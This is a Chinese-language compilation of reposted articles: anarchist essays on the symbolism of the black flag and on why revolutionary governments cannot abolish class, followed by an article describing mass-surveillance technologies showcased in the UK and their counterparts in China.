> “现在，当市场上的衣服供过于求时，工厂关闭，成千上万的人失业，因此被剥夺了获得任何过剩供应的途径。结果男人们衣衫褴褛，却是因为国内的衣服太多了！ 所有其他事情都是如此。 譬如人们被迫睡大街，只因为这个国家的房子太多了。 如今空置的鬼楼遍地都是，没有更多的购房需求，建筑商因此无所事事，无法赚钱支付租金。 想想吧！ 你衣衫褴褛，是因为这个国家的衣服太多了；你露宿街头，是因为这个国家的房子太多了；你忍饥挨饿，是因为这个国家的面包太多了；你被冻得瑟瑟发抖，是因为这个国家的煤炭太多了！ 这种荒谬难道有任何值得持续的理由吗？ 人们如此盲目以至于看不到这个体制必须被彻底改变吗？”

登上演讲台的还有无政府主义者奥古斯特·斯皮斯，他随后在干草市场悲剧中被国家谋杀。

> “下一位演讲者是奥古斯特·斯皮斯。 他指着黑旗说，这是饥饿和渴望的旗帜，第一次在美国本土被举起。

演讲结束后，游行开始：

> “两面大旗，一黑一红，引领着队伍。 大约在游行的中途，[原文如此] 又有两面大旗，一黑一红。

游行在第五大道 107 号 ，到达《警报》和《劳动报》的办公室结束了。

> “在这里，人群聚集在马赛曲的旋律中，黑旗和红旗的挥舞声，以及被虐尽的无产阶级的欢呼声中。 ”

一面黑旗竖立在南极。

谢尔盖.爱森斯坦（Sergei Eistenstein）：红旗、黑旗、和白旗

「图」

在早期的苏联电影《战舰波将金号》中，导演谢尔盖·爱森斯坦希望描绘叛军在战舰上升起一面红旗， 但是那个时期的黑白电影把红色变成了黑色。

为了达到他想要的效果，爱森斯坦不得不用白旗代替红旗拍摄场景，然后将旗帜手工染成红色，一次一帧。其效果，如同宣传政变一般，带来了对忠心耿耿的布尔什维克雷鸣般的掌声。

这里有一个严峻的比喻：谁真正制造了俄国革命，以及后来如何描述它 —— 每一面真正的红旗在历史上都像是一面黑旗，而这些旗帜随后从官方叙事中被抹去，而广为流传的国家宣传中著名的 “红旗” 实际上是投降的白旗。

安德烈·布雷顿：自由的颜色

「图」

以下文字最初是由资深超现实主义者安德烈·布雷顿 *(André Breton)* 发表于 *1945* 年 《神秘*17*号》*(Arcane 17)* 中的文本。后来在 *1966* 年 *12* 月的《反叛工人*7#*》*(The Rebel Worker #7)*中被翻译成英文，而后又被收录在《当街起舞：*1960*年代的无政府主义者、*IWW*、超现实主义者、情境主义者和临时派》一书中 *(2005)*。

在我们的头顶上方，旗帜状的窗户永远暗着，保持着通风。它们的大小和巴黎某些高速公路工程两侧的红旗一样，被醒目的黑色大字 “SADE” 隔开。这常常引发我无限的遐想。

那是一面没有任何标记、没有任何文字的红旗，其状如同我 17 岁时在一场战争之前的一次民众示威中所看到的那样，那是在巴黎佩圣热尔维站(Pré Saint-Gervais) 的天空，我看到无数红旗飘飘和数以万计的示威者。

那种感觉，是任何理性都无法解释的，尤其是当我回想起那片绚丽的人海，在那不停流动的和令人窒息的地方，被高高飘扬的黑旗刺穿的那一刻，我能感到脉搏的跳动。

那时我还没有多少政治觉悟，即使现在衡量我的觉悟程度也不得不承认，我依然感到困惑。但是，我身上的同情心和对一些问题的反感比以往任何时候都更强烈，绝不屈服于意识形态的要求。我知道我的心在跳动，仍然在跳动，仿佛依旧停留在那一天的运动中。在我内心最深处如画廊的尽头，我总是会重新发现无数火舌的光芒，萦绕在其中一些灿烂的灯芯之上。

当代人几乎无法想像如此景象。无产阶级的心脏还没有被无数派系党争所撕裂。巴黎公社的火炬远未熄灭；那里有许多只手紧握着那把火炬 —— 一个在它的伟大光芒中将一切凝聚在一起的火炬，如果不是那几圈浓烟盘旋的花环，也不会如此的美丽，如此的真实。从那些手握火炬的人脸上，可以看到如此之多无私的信仰、决心和热情，还有高贵，在无数退伍老兵身上。

在黑旗的周围，确实，可以强烈地感受到来自纯粹肉体痛苦的印记，但能看到人们眼睛里燃烧的激情，留下的是难以忘怀的白热。多少次烈焰焚身，只为那些本分的要求和希望，有时纯粹是为了他人，义无反顾地赴汤蹈火。

人类的状况便是如此（独立于那些人为的总是可以修正的社会状况），那是一种从情感上来说绝对正确的最后态度，历史上尤其不乏智者们的类似态度，无论是帕斯卡、尼采、斯特林堡还是兰波，都忽略了社会可能压制这种态度的纯粹功利主义原因。一个人不得不承认，这种态度本身就带有一种“我不下地狱”或者舍我其谁的宏伟。我永远不会忘记那些让我心旷神怡的兴奋和骄傲，譬如当我还是个孩子的时候第一次被带进墓地，在无数令人沮丧或荒谬的纪念碑中，我发现了一块用红色字母刻在花岗岩板上的绝妙装置，上面写着：“既非上帝也非大师”。诗歌和艺术当中永恒的就是那些在绝望的、所谓刚需中改变人类形象的东西，他们不时地在生活中制造出一个又一个令人会心一笑的机会。

而事实上，飘扬在艺术和诗歌中的，无论人们喜欢与否，红旗和黑旗，总有一面在竞相变换。在那里，时间也很紧迫。因为，这是一个关于确保从人类的感性中如何汲取它所能赋予的问题。然而，这些红黑之间的明显矛盾到底是从哪里来的呢？或许任何人都不会只为了塑造和扩大这种意识、而触及他人的感性问题，除非是自我牺牲，献祭给他所在时代属灵的分散之力：这些力量（之所以分散），因为他们

一般只有在互相寻找（同类）时才会宣布相互排斥。

正是在这个意义上，这样的人一直是，并且根据这些力量的神秘法令，必须同时是他们自己的受害者和刽子手。因此，对于人类自由的品味来说也有同样的情形，自由被近乎无限扩展到所有人，却将所有的可怕后果都归结为一个人。自由并不眷顾这个地球，除非有那些知道或至少部分知道如何生活在解放中的人，他们对自由的热爱达到疯狂。南极的一面黑旗。 2015 年，艺术家圣地亚哥·塞拉 (Santiago Sierra) [见附录] 帮助协调在北极和南极放置黑旗，以示对民族主义殖民主义的反抗。

让·热内："这是我想看到的革命"

「图」

> "收到古巴文化事务部的访问邀请时，我说：'是的，我非常想去古巴，但有一个条件：我会为我自己的旅行付费，我会为我在那里的住宿付费， 我会去我想去的地方，留在我想去的地方'。我说，'我非常想去，如果这真的是我想要看到的那种革命，也就是说，不再有国旗，国旗作为一种承认的标志、作为一个团体形成的象征，是不是已经成为革命戏剧性的阉割和国歌的致命片段？ 问问他，古巴的国旗和国歌还在吗？"

Howard J. Ehrlich：为什么是黑旗？

「图」

黑旗是无政府主义的象征。对那些认识黑旗的人来说，能够引发从恐惧到喜悦的不同反应。找出它的含义并且准备在越来越多的公共集会上看到它……

无政府主义者反对所有政府，因为他们相信对所有个人而言其自由的意志和知晓的意愿，是群体和社会本身的最终力量。无政府主义者相信个人的责任和主动性，相信真正全心全意合作的团体是由自由"人"构成的。政府则与这种理想完全背道而驰。政府依靠蛮力和欺诈来加速少数人对多数人的控制。这种残忍和欺诈的过程是否被诸如国王的神权、"民主选举"或所谓的"人民革命政府"等神话概念所证实，对无政府主义者来说几乎没有什么区别。我们根本性地拒绝"政府"本

身这一概念，并假定完全依赖自由人解决问题的能力。

为什么我们的旗帜是黑色的？黑色是否定的影子。黑旗是对所有旗帜的否定。这是对民族性的否定，它使人类与自己对抗，否认全人类的团结。对于以效忠一个或另一个国家的名义犯下的所有骇人听闻的反人类罪行，黑色是一种愤怒和愤慨的情绪。

这是对政府的伪装、虚伪和廉价诡计所暗示的对人类智力的侮辱的愤怒和愤慨 ……

黑色也是哀悼的颜色。取消国家的黑旗也在哀悼国家的受害者 ——无数在战争中被谋杀的人，无论是对外还是对内，为了某个血腥国家的更大荣耀和稳定。

它哀悼那些劳动被剥夺（征税）以支付对其他人类的屠杀和压迫的人。

它不仅哀悼身体的死亡，并且哀悼在专制和等级制度下精神的瘫痪；它哀悼数以百万计的脑细胞被涂黑，再也没有机会照亮世界。

这是一种无法被安慰的悲伤颜色。

但是黑色同样美丽。它是一种有关决心、决定和力量的颜色，一种可以澄清和定义所有其他颜色的颜色。黑色是孕育繁衍的神秘环境，是新生命的温床，总是在黑暗中进化、复苏、更新、繁衍。包括隐藏在大地中的种子、精子的奇异旅程、子宫中胚胎的秘密生长等等，这一切都被黑暗包围和保护着。

所以，黑色是否定，是愤怒，是愤慨，是哀悼，也同时是美丽，是希望，是在地球上和与地球上培养和保护的人类生活和关系的新形式。黑旗意味着所有这些东西。我们很自豪能够携带它，很抱歉我们举起它，并期待有一天不再需要这样的符号。香港艺术家 **Kacey Wong** 举起一面黑旗："它象征着哀悼、痛苦、抵抗和缅怀这座垂死的城市的力量。它还表达了这样的精神，即 '我们要么自由地活着，要么死去'。"

匿名者：投降的反面

「图」

几年前，我有幸出现在南方的一个小镇上，当时一位年轻的朋克摇滚

歌手正带着他的弟弟参观他最近搬进的集体房屋。

“黑旗是什么意思？” 小弟指着前廊上摆着的那块方形的布头问道。我有些好奇地等待着答案，因为我推断这可能是第一次邀请哥哥解释无政府主义学说的复杂性。

“哦，这个？” 朋克摇滚乐手回答，“这就像是 —— 投降的反面。”

附录： 无政府主义认同

「图」

当被问及他本人是否是无政府主义者时，圣地亚哥·塞拉 (Santiago Sierra) 回答说：“我认为无政府主义是我完全认同的一种政治和行为哲学。 然而，无政府主义首先是道德，意味着一种没有让步的生活方式。 从这个意义上说，我不会是（无政府主义者），就这么多，因为我的生活与任何无政府主义激进活动家的生活还相去甚远。”

这个谦虚的回答让人想起智利学生何塞·多明戈·戈麦斯·罗哈斯 (Domingo Gómez Rojas) 在特别部长何塞·阿斯托基萨 (José Astorquiza) 询问他是否是无政府主义者时的反应：“亲爱的部长，我没有足够的道德纪律来承受这个称号，那是我永远做不到的美德。”

尽管如此，戈麦斯·罗哈斯还是在被拘留期间被智利政府谋杀。重要的是要摧毁集中化暴力和控制的机制。

> “他们有一面下半旗的黑旗，象征着他们终生承受的希望和忧郁，用尖刀切开友谊的面包，还有一些生锈的武器，所以他们永远不会遗忘。 它们不是百里挑一，但它们仍然存在。 他们手挽手高兴地站在一起。并为此，他们始终站在一起。无政府主义者。”

—— *Léo Ferré*，*“Les Anarchistes”*，于 *1968* 年 *5* 月 *10* 日在巴黎 *Mutualité* 举行的无政府主义者联合会年会上首演，恰逢路障运动引发全国性的反抗和总罢工。

注释：

「图」

【注1】据 1871 年 4 月 10 日巴黎公社官方公报报道，“第 61 营有

一个精力充沛的女人在战斗。 她杀死了多名警察”。George Clemenceau 证实这是生死攸关的问题：“为了不被杀，她杀了别人 …… 她是如何在我眼前被杀死一百次的，我永远不会知道。 而我只看了她一个小时。”

【注2】写在《红旗的历史，从它的起源到 1939 年的战争》(The History of the Red Flag, from Its Origins to the War of 1939)。

【注3】显然，在成为渴望生活在没有压迫的世界中的人的标准之前，黑旗就代表了饥饿本身。例如，在 1861 年 11 月 17 日的《纽约时报》上，一篇报导南卡罗来纳州粮食短缺的头版文章的副标题为“南卡罗来纳州的黑旗”。

○

Every Flag Is Black in a Fire

原文

没有”革命的政府”这种东西：为什么你不能用国家废除阶级 - iyouport

无政府主义社会反抗和思考长读

如果不批评国家政权本身，即使是最成功的革命者也注定最终轮流成为压迫者，取代他们当初推翻的统治者。

“建党100周年” 的今年，从6月底开始，各色烟花的视频就飞满了中文社交媒体。当然，也包括各种文章。但是，不论是赞美还是讽刺、鼓励还是批评，都是跑题的。因为，中国执政党已经不是 “共产党”，已经与共产主义没有关系。这是北京当权者所害怕被指出的，也是为什么他们会拼命宣传所谓的 “初衷”，以掩盖这一真相。

为什么这么说？

艾玛·戈尔德曼知道这一点。米哈伊尔·巴枯宁在俄国革命前半个世纪就警告过大家。黑豹党和黑人解放运动的老兵阿善提·阿尔斯通和库瓦西·巴拉古恩都得出了同样的结论：没有所谓的革命政府。你不能用政府的工具来废除压迫。

【注：1. 埃玛·戈尔德曼 (Emma Goldman)美国著名无政府主义者，以其政治行动主义、写作与演说著称。她在二十世纪前半叶北美与欧洲的无政府政治哲学发展中发挥了重要作用；

2. 米哈伊尔·亚历山德罗维奇·巴枯宁，俄国思想家、革命家，著名无政府主义者，有 “近代无政府主义教父” 之称；

3. 阿善堤·阿尔斯通 (Ashanti Alston) 曾是黑豹党和黑豹解放军的成员，目前是耶利哥运动指导委员会的成员，这是一个旨在推动释放政治犯的反抗运动。】

自19世纪中期以来，无政府主义者一直认为，解放的关键不是夺取国家政权，而是废除国家政权。然而，从巴黎到圣彼得堡，从巴塞罗那到北京，一代又一代的革命者不得不艰难地吸取这一教训：只是改组政客就什么都改变不了。重要的是统治的工具 —— 警察、军队、法

院、监狱系统、官僚机构。无论是国王、独裁者，还是国会来指挥这些工具，人民的经验都大致相同。

如果您错过了《为什么选票无法帮你改变糟糕的现状？真正改变应该来自哪里？：权力的杠杆》

这就解释了为什么2011–2013年埃及革命的结果类似于1917–1921年俄国革命的结果，而俄国革命又类似于1848–1851年法国革命的结果。在每一种情况下，一旦进行革命的人们不再试图直接进行社会变革，而是转向将他们的希望投资于政治代表，权力就会巩固在一个新的专制政体手中。无论新的暴君是来自军队、贵族还是工人阶级，无论他们是承诺要“恢复秩序”还是要将无产阶级的力量人格化，最终的结果都是大致相同的。

政府本身就是一种阶级关系。如果不废除统治者和被统治者之间的不对称性，你就无法废除阶级社会的压迫。经济只是众多领域中的一个，在这些领域中，成文的权力差异是通过社会结构的方式强加的；政治是另一个领域。资本的私有制对于经济来说就像国家权力对于政治一样。

> 如果不批评国家政权本身，即使是成功的革命者也注定最终轮流成为压迫者，取代他们当初推翻的统治者。

马克思和列宁承诺国家可以用来废除阶级社会，之后国家会以某种方式消失，这就造成了巨大的混乱。换句话说，革命的“工人”—— 就是说宣布一个代表他们的政党，就像任何其他执政党一样—— 可以保留警察、军队、法院、监狱系统、官僚机构和所有其他国家工具，但这些东西会神奇地开始产生平等而不是不平等。这就提出了一个问题：国家究竟是什么？最重要的是，它是政治合法性在特定机构中的集中，与它们所统治的人民形成对比。这正是不平等的定义，因为它使那些通过这些机构掌握权力的人比其他人享有特权。虽然马克思主义者和列宁主义者在几十次革命中成功夺取了权力，但是，没有一次成功地废除了阶级社会 —— 国家非但没有消失，反而因此而变得更加强大和具有侵略性。正如 **Sonvilier Circular** 所说，“我们怎么能指望一个平等和自由的社会从一个专制的组织中出现呢？”

当革命者试图通过将资本的完全控制权交给国家来消除资本私有制造成的阶级不平等时，这只是使掌握政治权力的阶级成为了新的资本主义阶级。在这里是国家资本主义。无论你在哪里看到政治代表和官僚管理，你都会发现阶级社会。解决经济和政治不平等的唯一真正办法

是首先废除创造权力差异的机制—— 不是通过使用国家结构，而是通过组织横向的自决和集体防御网络，使任何经济或政治精英的特权无法实施。这是与夺取权力相反的做法。

各种类型的政府都与这个反抗项目相对立。任何政府要掌握权力的第一个条件就是，它必须实现对强制力的垄断。在为实现这种垄断而奋斗的过程中，法西斯专制、共产主义独裁和自由民主都变得彼此相似。而为了实现这一目标，即使是表面上最激进的政党，最终也会与其他权力参与者勾结在一起。这就解释了为什么布尔什维克雇用了沙皇军官和反叛乱的方法；这也解释了为什么他们一再站在小资产阶级一边反对无政府主义者，首先是在俄国，后来是在西班牙和其他地方。历史让布尔什维克的镇压“对于废除资本主义是必要的”这一古老的托词不攻自破。布尔什维克主义的问题不在于它用残酷的武力来推动革命议程，而是在于它用残酷的武力来镇压革命。

今天，当苏联的旗帜已经成为一个暗淡的、后退的屏幕，人们可以在上面投射他们想要的任何东西时，承认这些并不是特别受欢迎。苏联解体后成长起来的一代人们重新做起了白日梦，认为只要把合适的人推上去负责，国家就可以解决我们所有的问题。为列宁和斯大林辩护的人们为他们所找的借口与我们从资本主义支持者那里听到的完全一样，他们指出消费者在他们的统治下受益的方式，或者争辩说他们剥削、监禁和杀害的数百万人是自找的。俄罗斯坦克在布达佩斯的街道上游走，以镇压1956年的反叛。

在任何情况下，回到20世纪的国家社会主义都是不可能的。正如东欧的老笑话所说的那样，社会主义是资本主义与资本主义之间的痛苦过渡。从这个有利的角度来看，我们可以看到，社会主义在20世纪的暂时上升并不是马克思所预言的世界历史的顶点，而是资本主义传播和发展的一个阶段。“真正存在的社会主义”为世界市场实现了后封建经济的工业化；它通过这一过渡稳定了不安分的劳动力，就像福特主义妥协在西方所做的那样。国家社会主义和福特主义都是劳工和资本之间暂时休战的表现，而新自由主义的全球化已经使之成为不可能。

如果您错过了《数字殖民主义：帝国的演变》

今天，不受约束的自由市场资本主义即将吞噬最后的社会民主稳定岛，甚至包括瑞典和法国。无论哪里的左翼政党是以改革资本主义的承诺上台的，他们最终都将被迫实施新自由主义的议程，包括紧缩措施和镇压。因此，他们的上台耗尽了基层运动的动力，同时使右翼反动派能够冒充叛军，以利用民众的不安。这个故事在巴西的工人党、希腊的激进左翼联盟、尼加拉瓜的奥尔特加政府都曾发生过。

具体解释见这里《从民主到自由》

所谓的“革命”政府的唯一其他模式是以中国为代表的赤裸裸的国家资本主义，其中的精英们正以牺牲劳动者的利益为代价积累他们自己的财富，就像他们在美国做的那样，就像之前的苏联一样，中国的经历证实了国家对经济的管理*并不是*走向平等主义的一步。

推荐：《中共的大迂回：一个国家的诞生》

未来可能会出现新自由主义的放任自流、民族主义的飞地、极权主义的指令性经济，或者无政府主义的废除财产本身 —— 它可能会包括所有这些—— 但是，要保持任何政府可以为除少数特权者之外的任何人解决资本主义问题的幻想，将越来越困难。法西斯主义者和其他民族主义者急于利用这种幻灭感来推动他们自己的排他性社会主义品牌；我们不应该通过使“国家只要管理得当就能为劳动人民服务”的想法合法化来为它们铺平道路。

> 您可以将蓝图强加于社会，也可以一起创造自由空间，但不能同时做到这两者。

有些人认为，我们应该暂停与专制共产主义支持者的冲突，以关注更直接的威胁，如法西斯主义。然而，对左翼极权主义的广泛恐惧为法西斯主义的招募者提供了他们的主要谈资。在争夺那些尚未选择立场的人的想法时，这只会有助于将我们的社会变革建议与斯大林主义者和其他专制主义者的建议区分开。

在反对资本主义、国家暴力和法西斯主义的民众斗争中，我们应该对不同的未来愿景之间的竞争给予同等重视。不这样做就意味着事先假定我们会在这些愿景中的任何一个开花结果之前就被打败。无政府主义者、孟什维克、社会主义革命者和其他人在1917年后艰难地了解到，不为胜利做准备甚至比不为失败做准备更加灾难性。

好消息是，革命运动不一定必须像俄国革命那样结束。还有另一种方式。

> 对抗资本主义和国家政权。

与其寻求国家权力，我们不如开辟自治的空间，从国家中剥离合法性，发展直接满足我们需求的能力。我们可以建立世界范围内的根生网络，而不是独裁和军队，以抵御任何想对我们行使统治权的人，来保护彼此。我们可以建立基于自愿合作和互助的基层协会，而不是寻

求新的代表来解决我们的问题。为了取代国家管理的经济，我们可以在横向基础上建立新的公地。这就是无政府主义的替代方案，如果不是被佛朗哥一方和斯大林另一方踩在脚下，它本可以在1930年代的西班牙获得成功。从恰帕斯和卡比利亚、到雅典和罗贾瓦，过去三十年中所有鼓舞人心的运动和起义都包含了无政府主义模式的元素。

国家解决方案的支持者声称他们更有效率，但问题是，他们在什么方面更有效率？解放是没有捷径的；它不能从上面强加。如果我们的目标是创造真正的平等，我们就必须以一种反映这一点的方式来组织，分散权力，拒绝一切形式的等级制度。建立能够通过直接行动和团结协作以解决当前需求的地方项目，并在全球范围内将它们相互联系起来，我们就可以在通往一个没有人可以统治他人的世界的道路上迈出步伐。我们想要的那种革命不可能一夜之间发生；它是摧毁所有权力集中的持续过程。

随着我们时代的危机加剧，新的革命斗争必然会爆发。我们应该为新的千年更新它，以免我们都注定要重复过去。

如果您错过了《现在团结：当下的口述历史实验》

本文改编自一本书《The Russian Counterrevolution》。您可以在这里免费下载它，也可以从 AK Press 订购印刷副本。

> 要么国家永远存在，压制个人和地方生活，接管人类活动的所有领域，带来战争和国内的权力斗争，带来宫廷革命，只是用一个暴君取代另一个暴君，而在这种发展的最后，不可避免的是……死亡。

○

原文

浮空器、生物识别、射频、无人机 ……唐宁街聚集大规模监视行业，其关键技术中国几乎全有 - iYouPort

老大哥的真面目长读

- *Stasi (*史塔西*)* 从来没有死去，如今，它已经进化成了 *Satan (*撒旦*)*

「图」

「图」

最近，英国政府接待了数百家监控技术公司，因为这些公司坚持认为“基于监视技术的铺设是脱欧问题的终极解决方案”。

这是每年一次的“安全与警务”展示会，汇集了来自世界各地政府机构的最先进的监控设备。今年的活动是和脱欧谈判进程合拍的，关于爱尔兰—英国边境310英里区域维稳问题的具体建议。显然，唐宁街认为大规模监控是个“好主意”。

但要知道，简单地将技术投入复杂的政治中是解决不了根本性问题的。不幸的是如今很多政府都痴迷于技术控制社会，他们面对着形形色色的政治问题，却不反思自己，反而期待监视技术能带来绝对的“稳定”和经济效益。是的，他们眼里已经没有人权。

Snowden 曝光美国大规模监控有着无数的积极意义，我们已经深刻领悟，但任何事物都有两面，最伟大的曝光也一样，它携带着两个特殊的负效应：

1、对社会的寒蝉效应。当人们不知道这些事的时候，他们反而有一种无知的勇气，虽然他们想不通自己是如何被抓捕的、如何在尚未行动的情况下被提前维稳，公民权如何被侵蚀。不要以为自我审查是奴性社会所特有的，比如中国，恐惧从来是人类的基础情绪之一，我们曾经介绍过美国社会在监视曝光后出现的惊人的自我审查，与中国做了一个对比。你能在前面的链接中看到。

2、给全球当权者的“参照”。而且并不限于威权政府，那些一直在想方设法控制社会以巩固权力施加暴力的纳粹遗少，甚至包括民主国家政府也一样，他们面对着诸多政治问题，面对着选民的控诉和逼问，于是他们往往最先想到的是 1984 的“捷径”。

延伸阅读：《俄罗斯如何效仿美国的棱镜计划，以铺设自己的大规模监控系统》

不消说大规模监控的确能给人一种可以针对性“解决”某些社会问题的幻觉，比如校园枪支暴力，美国一些州正在推出人脸识别系统以遏制校园暴力事件。受到了惊吓的人们和孩子被伤害的家长对此表示支持，但更多人对此表示怀疑。很明显，这种声称为了保护个人而剥夺大众隐私的做法注定不是捍卫人权的性质。并且更糟糕的是，没人能确保这一能力不会被滥用，因为它把肥肉扔在了狼的面前。当权者倾向于将民众视为失控的、无意识的生物，却很少去思考人们为什么选择那样的行为—— 人们为什么会开枪，为什么不满。

前者是可以被克服的，而后者需要在前者成功克服的基础上发挥民主的力量。如果民主不是一个幻景的话。

任何基于大规模监视的解决方案都需要物理基础设施，它必然是侵入性的、侵犯人权的和违宪的。不论其技术被描述为如何的高效，其性质依然是反民主的，与自由开放的承诺截然相悖。

作为媒体，能做的最好的抵御就是揭露，这就是为什么 Snowden 的选择无比伟大，让更多人熟知真相，公民权利才有机会得到有效的发挥。

以下是一系列高科技设备的组合，来自英国的采用。你能发现，它们中绝大部分都已经在中国实现。

「图」

「图」

自动车牌识别（**ANPR**）

至少在 2015 年就有披露，英国警方采用的这套自动车牌号码识别系统（简称 ANPR）已经成为全球规模最大的监控系统之一。并且，直到目前都还没有任何一套成熟的法律框架可以对其具体使用方式加以规范。

三年前英国国内就已经设立了 8300 个 ANPR 摄像头，其每天收集到的数据会接受 2500 万到 3500 万次“读取”。这些记录随后会被发送至国家 ANPR 数据中心。这种监控甚至不需要任何法定授权。

延伸阅读：如果你参加街头运动、或者为了躲避当局的追捕，请务必不要使用私人汽车。这里有两篇文章介绍了在上述两种情况下你应该注意的全部细节，这关系到人身安全。"//第一篇//"。"//第二篇//"。

这一技术的可怕在于它有强大的追溯能力，基于一个规模巨大的数据库。可以在 2 秒内识别途经的所有车辆的历史资料。

在此之后的两年，也就是 2017 年，马来西亚媒体报道，一名的士司机途经交警取缔行动路段时被自动车牌号码识别系统（ANPR）扫描，该系统揭发了他从 1998 年至今—— 也就是过去二十年来——未曾缴付的交通罚单。

要知道，这可不是交通罚单这么简单。这些数据深刻地揭示了一个人生命中的大部分图景。

去年 11 月，中国，继推出全球首款深度学习网络硬盘录影机(NVR)之后，海康威视公司又宣布推出新系列的 IP 摄像机。所谓的「深眸」(DeepinView)系列 IP 摄像机据称能提供强大功能和情报。其中就包括自动车牌识别（ANPR）。

延伸阅读：如果您还不了解“海康威视”，请查阅这篇文章《"//是谁在为中国共产党侵犯人权的大规模监视提供技术支持？//"》

「图」

「图」

射频识别 **RFID**

这是一种目前已经非常常见的无线通信技术，可以通过无线电讯号识别特定目标并读写相关数据，而无需识别系统与特定目标之间建立机械或者光学接触。

无线电的信号是通过调成无线电频率的电磁场，把数据从附着在物品上的标签上传送出去，以自动辨识与追踪该物品。某些标签在识别时从识别器发出的电磁场中就可以得到能量，并不需要电池；也有标签本身拥有电源，并可以主动发出无线电波（调成无线电频率的电磁场）。标签包含了电子储存的信息，数米之内都可以识别。

注意，与条形码不同的是，射频标签不需要处在识别器视线之内，也可以嵌入被追踪物体之内。射频标签只要靠近或经过一个读取器就可以读取。无论是在手提箱里，纸箱里，盒子里等，射频标签都可以被读取。读取机可以一次读取上百个射频标签，而条形码只能一次一读。

Security and Policing 是英国公司 TC SENS、RFID 技术制造商，专门做这种东西。

无线射频识别系统在监控车辆方面相当高效。在大雾、大雨、沙尘等能见度较低的条件下，道路摄像头可能无法辨认车牌号，但 **RFID** 则毫无障碍。

就是今年六月的消息，⚠ 中国正在建立一个利用电子识别系统跟踪汽车的全国性项目。无线射频识别 (RFID) 芯片将安装在汽车挡风玻璃上。专门的道路读取装置将扫描无线射频识别芯片上的信息，由此确定汽车的位置、牌号、型号和颜色。

简单说就是，有了这种东西，只要你被当局盯住了，没可能再使用机动车逃离。

中国官媒的报道说，在中国境内注册的所有汽车迟早都必须安装无线射频识别装置。事实上，在一些地区，无线射频识别系统已经通过先导测试。

「图」

「图」

视觉监控

英国采取的视觉监控不仅仅是传统的闭路摄像机。并且，在无人机、浮空器或飞机上，先进持久性的空中监视系统正被用于执行全天候的老大哥任务，捕获详细的视频图像并将其传输到地面接收站进行分析。

英国国防部已经从国防承包商和参展商空客公司购买了几颗“伪卫星”，被称为“Zephyr S”。据称这东西能从世界上任何地方监控地面目标。可以在空中飞行高达 7 万英尺，是商用飞机高度的两倍，甚至可以在空中漂浮 45 天。它的动力来自太阳能，太阳能还为它的锂硫电池充电，然后在晚上作为它的能源。

Search Systems Ltd 已经展示了他们这一广域监控系统—— 由英国边防部队支持—— 安装在一个浮空器上。

其他公司包括 Sesanti，其 LREO 先进远程成像系统能提供热成像识别，并声称能够识别超过 30 公里区域内的车辆和超过 8 公里区域内的人，并且可以配备分析工具，例如通过其 AIS 识别船只信号。

还有，Qinetiq 以前是英国政府的一部分，他们销售使用“先进的被动毫米波成像技术”的监视相机，以检测人群，每小时可扫描**1000**人。**SPO-NX** 系统已经与英国内政部合作。

这些浮空器监视不是新玩意，早在 2015 年，中国官媒就报道称，中国电科自主研制出了浮空器技术，加入了美国和俄罗斯才拥有的监控技术水平。

该报道说，2015 年初的一天，新疆某县的天空中出现了一个浮在空中的大型白色气球，这玩意被称为具备全球顶尖技术的“浮空器”。

中国官媒还说，这种监视设备能长期停留在空中作业，俯视全城，不仅能让地面上的所有目标一览无余，同时也节省了大量分散的监控工作，并且获得了当地公安部门的“高度评价“。

「图」

「图」

来自 Qinetiq 宣传册中的图片

延伸阅读："//如何防止被热成像识别？//"

生物识别技术

生物识别技术的使用在日常生活中已经越来越普遍，并且政府和情报部门在这个市场中占据了绝对大的份额，你知道这意味着什么。

使用“移动中”生物识别技术—— 远距离获取生物识别数据—— 是当权者的下一个“重大愿望”。要明确的是，“远距离”生物识别意味着在完全没有您本人参与的情况下、或者说在您完全不知情的情况下，进行的生物识别。

因此，这是一个巨大的威胁，意味着大量的结果数据被各种公司和政府当局用于分析、预测和推断，以及将公民列入黑名单。

在这场警务技术展览会上，意大利武器制造商莱昂纳多兜售他们的面部识别技术，据称使用人工智能进行分析，NEC 的人脸识别软件 NeoFace 现在已经被世界各国使用，这东西据称可以远距离捕捉面部图像。

总部位于英国的 Tensor 和 Iproov 以及 Unisys，除了制作生物识别技术之外，还是 LineSight 技术的制造商，LineSight 是一种使用算法和机器学习来预测旅行者“意图”的分析平台—— 就是预测人们的行为，基于当权者的利益，将人们分类为“低风险和高风险”的概况。

「图」

「图」

这是新加坡设想的生物识别技术，展示幻灯片

「图」

「图」

一本实时自动身份控制平台的宣传册，包括生物识别和热像仪识别

在中国，面部识别已经是旧闻了，据称北京当局正在痴迷于虹膜。官方媒体的消息称，旷视科技（Face＋＋）宣布获得了 4.6 亿美元 C 轮融资；商汤科技也于近日宣布获得 6.2 亿美元 C＋轮融资，他们的技术监视指纹、虹膜、手掌、静脉……

虹膜是比人脸和指纹更难以伪造的生物特征。指纹有可能被模仿和伪造，人脸识别会存在双胞胎、父子母女难分辨的问题。而且，高超的整容技术、不同光照下的表情、姿态等也会影响识别效果。但，虹膜是终极的无法更改的东西。

据称虹膜有 3 大特性：非接触性，中远距离就可以识别；大容量，速度快、实时性强；防伪性，通过瞳孔震颤可实现活体检测。

铺设在地下的传感器

上述的 Qinetiq 还展示了他们的名为 Optasense 的监视系统，这是一套铺设在地下的光纤电缆，可作为声学、应力、压力和温度变化的传感器。该传感器将能够探测一个区域内的人员或车辆，并且可以从一个位置点上监测长达 5000 公里的区域，这是英国—爱尔兰边界长度的十倍以上。

Future Fiber Technologies 也在销售类似的光纤入侵检测和定位系统。

你以为中国没有？那就错了。在中国，这东西被叫做“光纤振动传感技术”，就在本月的新闻中，这东西已经被铺设在南京大胜关长江大桥上。中国铁路上海局集团有限公司业务范围涵盖长三角地区，于是该公司计划先在这个区域铺设这种技术，然后再“辐射全国”！

其实这种技术并不复杂，铺设在地下的光缆原本就有多条芯，只需占用其中一根即可。中国宣称目前可以实现单机双通道 80 公里的监测，如果每一米等效一个传感器，相当于一根光纤集成了 80000 个传感器。

「图」

「图」

IMSI 捕获器

你一定非常熟悉它了。这是一种高度侵入性技术，而且不新鲜。早在 2016 欧洲黑帽会议上，研究人员就展示了一种通过 WiFi 操作的新型 IMSI 捕捉器攻击方式，允许攻击者在一秒内捕获智能手机的 IMSI 号码，然后利用该 IMSI 号码来跟踪监视移动设备用户。

IMSI 全称“ international mobile subscriber identity ”（国际移动用户识别码）是区别移动用户的标志，储存在 SIM 卡中，可用于区别移动用户的有效信息。不要将 IMSI 号码与 IMEI 号码混淆。 IMSI 绑定到用户，而 IMEI 绑定到设备。

